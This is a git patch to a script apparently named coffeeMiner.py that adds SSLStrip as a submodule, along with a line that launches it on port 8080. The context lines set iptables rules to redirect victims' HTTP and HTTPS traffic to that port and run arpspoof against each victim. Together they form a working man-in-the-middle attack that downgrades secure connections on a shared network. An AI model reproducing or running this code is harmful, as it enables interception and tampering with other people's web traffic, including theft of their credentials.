From 3024e65fa3e871d9a827ac01d4fae8732930668b Mon Sep 17 00:00:00 2001 From: Amber Gairdner Date: Mon, 8 Jan 2018 19:20:05 -0700 Subject: [PATCH] Added SSLStrip --- .gitmodules | 3 +++ coffeeMiner.py | 2 ++ sslstrip | 1 + 3 files changed, 6 insertions(+) create mode 100644 .gitmodules create mode 160000 sslstrip diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..d8ae1c3 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,3 @@ +[submodule "sslstrip"] + path = sslstrip + url = https://github.com/moxie0/sslstrip.git diff --git a/coffeeMiner.py b/coffeeMiner.py index e5cf421..3e2156f 100644 --- a/coffeeMiner.py +++ b/coffeeMiner.py @@ -34,6 +34,8 @@ os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080") os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080") +# run SSLStrip on port 8080 +os.system("python /sslstrip/sslstrip.py -l 8080") # run the arpspoof for each victim, each one in a new console for victim in victims: diff --git a/sslstrip b/sslstrip new file mode 160000 index 0000000..8dac387 --- /dev/null +++ b/sslstrip @@ -0,0 +1 @@ +Subproject commit 8dac3873890b25819a1c1191cbd5de96d3dba219